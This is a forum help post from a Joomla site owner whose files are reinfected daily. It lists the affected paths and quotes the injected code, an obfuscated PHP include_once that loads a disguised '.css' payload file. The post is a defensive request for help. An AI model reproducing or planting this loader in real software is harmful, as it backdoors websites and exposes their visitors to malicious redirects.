Secure website Joomla - same files infected daily

Our site(s) gets infected with malware on a daily basis, many files are getting a string / script causing the page to reffer to a game or advertisement:

Files:
/bin/index.php
www/api/index.php
www/libraries/import.php
www/api/includes/framework.php
/www/api/includes/framework.php
www/layouts/index.php
/www/layouts/index.html.bak.bak
www/layouts/chromes/index.php
www/layouts/joomla/index.php

Infected with:

/*7bcb2*/
$rxgqy = "/data/sites/web/\x2dla\x2dcartebe/www/\x70lugins/workflow/notification/.d56f9d3c.css"; if (TRUE){ @include_once /* r9 */ ($rxgqy); }
/*7bcb2*/

Latest Joomla version, clean install with a template YooTheme, all plugins (only JCE and GDPR extension) up to date. FTP user updated, Joomla adminsitrator login updates, ...

Thanks for the feedback, suggestions and support